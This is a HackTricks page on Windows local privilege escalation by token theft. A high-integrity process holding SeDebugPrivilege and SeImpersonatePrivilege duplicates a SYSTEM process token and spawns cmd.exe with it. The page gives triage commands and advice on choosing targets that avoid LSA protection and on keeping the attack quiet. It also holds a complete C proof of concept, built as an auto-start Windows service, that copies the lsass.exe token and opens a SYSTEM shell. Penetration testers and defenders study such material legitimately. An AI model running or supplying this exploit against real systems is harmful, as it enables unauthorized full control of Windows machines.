sedebug-seimpersonate-copy-token.md (11350B)
1 --- 2 title: "SeDebug + SeImpersonate - Copy Token" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/sedebug-%2B-seimpersonate-copy-token.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # SeDebug + SeImpersonate - Copy Token 14 15 This page covers the **manual token-theft** variant where a **High Integrity** context that already has **`SeDebugPrivilege`** and **`SeImpersonatePrivilege`** opens a suitable **SYSTEM** process, **duplicates its token**, and **spawns a new process** with that token. 16 17 If you only need a quick `SYSTEM` shell from a privileged admin process, also check: 18 19 [Seimpersonate From High To System](/hacktricks/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system) 20 21 If you do **not** have a process-handle path but you do have **`SeImpersonatePrivilege`**, the **named-pipe / Potato** route is usually easier: 22 23 [Named Pipe Client Impersonation](/hacktricks/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation) 24 25 [Roguepotato And Printspoofer](/hacktricks/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer) 26 27 ## Quick triage 28 29 Before trying the token-copy path, confirm that the current process is already in a useful context: 30 31 ```batch 32 whoami /groups | findstr /i "high mandatory" 33 whoami /priv | findstr /i "SeDebugPrivilege SeImpersonatePrivilege" 34 ``` 35 36 Notes: 37 38 - **`SeDebugPrivilege`** is what lets you open many **non-protected** SYSTEM processes even when their DACL would normally block you. 39 - **`SeImpersonatePrivilege`** is what makes **`CreateProcessWithTokenW`** practical afterwards. 40 - If the token-copy path only gives you a weak or filtered SYSTEM token, just steal from a **different SYSTEM process**. 41 42 ## Pick the target process carefully 43 44 The technique is usually shown against **`lsass.exe`**, but on modern Windows that is often the **wrong target**: 45 46 - If **LSA Protection / RunAsPPL** is enabled, **`lsass.exe`** is protected and a normal admin process with `SeDebugPrivilege` still won't be able to open it.<sup>[[2]](#references)</sup> 47 - Prefer **non-PPL SYSTEM processes** such as **`winlogon.exe`**, **`wininit.exe`**, **`services.exe`**, or an early **`svchost.exe`** instance. 48 - **Protected processes** and some special processes such as **`System`** or **`csrss.exe`** are not realistic user-mode targets for this technique. 49 - Use **Process Hacker / Process Explorer** running elevated to verify whether the target token actually has the privileges you want before duplicating it. 50 51 ## API details that matter in practice 52 53 A lot of public PoCs request **`PROCESS_ALL_ACCESS`** and **`TOKEN_ALL_ACCESS`**, but that is noisier than necessary. In practice: 54 55 - Open the target process with only the rights you need (commonly **`PROCESS_QUERY_INFORMATION`** or **`PROCESS_QUERY_LIMITED_INFORMATION`**). 56 - Open the token with the rights needed for process creation: **`TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY`**. 57 - Use **`DuplicateTokenEx(..., TokenPrimary, ...)`** to create a **primary token**; an impersonation token alone is not enough to create a new process. 58 - If **`CreateProcessWithTokenW`** fails with **`1314`**, switch to **`CreateProcessAsUserW`**. 59 - If you launch from a **service / Session 0**, remember that **`CreateProcessWithTokenW`** keeps the child in the **caller's session**. If you need a visible desktop shell, use **`CreateProcessAsUserW`** and move the token to the desired session.<sup>[[1]](#references)</sup> 60 61 A minimal modern flow looks like: 62 63 ```c 64 HANDLE hp = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); 65 HANDLE hTok = NULL, hDup = NULL; 66 OpenProcessToken(hp, TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, &hTok); 67 DuplicateTokenEx(hTok, MAXIMUM_ALLOWED, NULL, 68 SecurityImpersonation, TokenPrimary, &hDup); 69 CreateProcessWithTokenW(hDup, LOGON_WITH_PROFILE, 70 L"C:\\Windows\\System32\\cmd.exe", 71 NULL, 0, NULL, NULL, &si, &pi); 72 ``` 73 74 ## Full service PoC 75 76 The following code **exploits the privileges `SeDebugPrivilege` and `SeImpersonatePrivilege`** to copy the token from a **process running as SYSTEM** and with **all the token privileges**. In this case, the code can be compiled and used as a **Windows service binary** to verify that the primitive works.<sup>[[3]](#references)</sup> 77 78 The main part of the **code where the elevation occurs** is inside the **`Exploit`** function. Inside that function you can see that **`lsass.exe`** is searched, its **token is copied**, and finally that token is used to spawn a new **`cmd.exe`** with all the privileges of the copied token. 79 80 On modern hosts, you will often want to replace **`lsass.exe`** with another **non-PPL SYSTEM process** such as **`winlogon.exe`**, **`wininit.exe`**, or **`services.exe`**. 81 82 Other processes running as SYSTEM with all or most of the token privileges are: **`services.exe`**, **`svchost.exe`** (some of the first ones), **`wininit.exe`**, **`csrss.exe`**... Remember that you generally **won't be able to copy a token from a protected process**. 83 84 ```c 85 // From https://cboard.cprogramming.com/windows-programming/106768-running-my-program-service.html 86 #include <windows.h> 87 #include <tlhelp32.h> 88 #include <tchar.h> 89 #pragma comment (lib, "advapi32") 90 91 TCHAR* serviceName = TEXT("TokenDanceSrv"); 92 SERVICE_STATUS serviceStatus; 93 SERVICE_STATUS_HANDLE serviceStatusHandle = 0; 94 HANDLE stopServiceEvent = 0; 95 96 //This function will find the pid of a process by name 97 int FindTarget(const char *procname) { 98 99 HANDLE hProcSnap; 100 PROCESSENTRY32 pe32; 101 int pid = 0; 102 103 hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 104 if (INVALID_HANDLE_VALUE == hProcSnap) return 0; 105 106 pe32.dwSize = sizeof(PROCESSENTRY32); 107 108 if (!Process32First(hProcSnap, &pe32)) { 109 CloseHandle(hProcSnap); 110 return 0; 111 } 112 113 while (Process32Next(hProcSnap, &pe32)) { 114 if (lstrcmpiA(procname, pe32.szExeFile) == 0) { 115 pid = pe32.th32ProcessID; 116 break; 117 } 118 } 119 120 CloseHandle(hProcSnap); 121 122 return pid; 123 } 124 125 126 int Exploit(void) { 127 128 HANDLE hSystemToken, hSystemProcess; 129 HANDLE dupSystemToken = NULL; 130 HANDLE hProcess, hThread; 131 STARTUPINFOA si; 132 PROCESS_INFORMATION pi; 133 int pid = 0; 134 135 136 ZeroMemory(&si, sizeof(si)); 137 si.cb = sizeof(si); 138 ZeroMemory(&pi, sizeof(pi)); 139 140 // open high privileged process 141 if ( pid = FindTarget("lsass.exe") ) 142 hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); 143 else 144 return -1; 145 146 // extract high privileged token 147 if (!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS, &hSystemToken)) { 148 CloseHandle(hSystemProcess); 149 return -1; 150 } 151 152 // make a copy of a token 153 DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupSystemToken); 154 155 // and spawn a new process with higher privs 156 CreateProcessAsUserA(dupSystemToken, "C:\\windows\\system32\\cmd.exe", 157 NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); 158 159 return 0; 160 } 161 162 163 void WINAPI ServiceControlHandler( DWORD controlCode ) { 164 switch ( controlCode ) { 165 case SERVICE_CONTROL_SHUTDOWN: 166 case SERVICE_CONTROL_STOP: 167 serviceStatus.dwCurrentState = SERVICE_STOP_PENDING; 168 SetServiceStatus( serviceStatusHandle, &serviceStatus ); 169 170 SetEvent( stopServiceEvent ); 171 return; 172 173 case SERVICE_CONTROL_PAUSE: 174 break; 175 176 case SERVICE_CONTROL_CONTINUE: 177 break; 178 179 case SERVICE_CONTROL_INTERROGATE: 180 break; 181 182 default: 183 break; 184 } 185 SetServiceStatus( serviceStatusHandle, &serviceStatus ); 186 } 187 188 void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) { 189 // initialise service status 190 serviceStatus.dwServiceType = SERVICE_WIN32; 191 serviceStatus.dwCurrentState = SERVICE_STOPPED; 192 serviceStatus.dwControlsAccepted = 0; 193 serviceStatus.dwWin32ExitCode = NO_ERROR; 194 serviceStatus.dwServiceSpecificExitCode = NO_ERROR; 195 serviceStatus.dwCheckPoint = 0; 196 serviceStatus.dwWaitHint = 0; 197 198 serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler ); 199 200 if ( serviceStatusHandle ) { 201 // service is starting 202 serviceStatus.dwCurrentState = SERVICE_START_PENDING; 203 SetServiceStatus( serviceStatusHandle, &serviceStatus ); 204 205 // do initialisation here 206 stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 ); 207 208 // running 209 serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN); 210 serviceStatus.dwCurrentState = SERVICE_RUNNING; 211 SetServiceStatus( serviceStatusHandle, &serviceStatus ); 212 213 Exploit(); 214 WaitForSingleObject( stopServiceEvent, -1 ); 215 216 // service was stopped 217 serviceStatus.dwCurrentState = SERVICE_STOP_PENDING; 218 SetServiceStatus( serviceStatusHandle, &serviceStatus ); 219 220 // do cleanup here 221 CloseHandle( stopServiceEvent ); 222 stopServiceEvent = 0; 223 224 // service is now stopped 225 serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN); 226 serviceStatus.dwCurrentState = SERVICE_STOPPED; 227 SetServiceStatus( serviceStatusHandle, &serviceStatus ); 228 } 229 } 230 231 232 void InstallService() { 233 SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE ); 234 235 if ( serviceControlManager ) { 236 TCHAR path[ _MAX_PATH + 1 ]; 237 if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) { 238 SC_HANDLE service = CreateService( serviceControlManager, 239 serviceName, serviceName, 240 SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, 241 SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path, 242 0, 0, 0, 0, 0 ); 243 if ( service ) 244 CloseServiceHandle( service ); 245 } 246 CloseServiceHandle( serviceControlManager ); 247 } 248 } 249 250 void UninstallService() { 251 SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT ); 252 253 if ( serviceControlManager ) { 254 SC_HANDLE service = OpenService( serviceControlManager, 255 serviceName, SERVICE_QUERY_STATUS | DELETE ); 256 if ( service ) { 257 SERVICE_STATUS serviceStatus; 258 if ( QueryServiceStatus( service, &serviceStatus ) ) { 259 if ( serviceStatus.dwCurrentState == SERVICE_STOPPED ) 260 DeleteService( service ); 261 } 262 CloseServiceHandle( service ); 263 } 264 CloseServiceHandle( serviceControlManager ); 265 } 266 } 267 268 int _tmain( int argc, TCHAR* argv[] ) 269 { 270 if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) { 271 InstallService(); 272 } 273 else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) { 274 UninstallService(); 275 } 276 else { 277 SERVICE_TABLE_ENTRY serviceTable[] = { 278 { serviceName, ServiceMain }, 279 { 0, 0 } 280 }; 281 282 StartServiceCtrlDispatcher( serviceTable ); 283 } 284 285 return 0; 286 } 287 ``` 288 289 ## References 290 291 - [1] [CreateProcessWithTokenW function (Microsoft Learn)](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw) 292 - [2] [Configure added LSA protection (Microsoft Learn)](https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection) 293 - [3] [Running my program as a service (cboard.cprogramming.com) – Windows service skeleton used by the PoC](https://cboard.cprogramming.com/windows-programming/106768-running-my-program-service.html)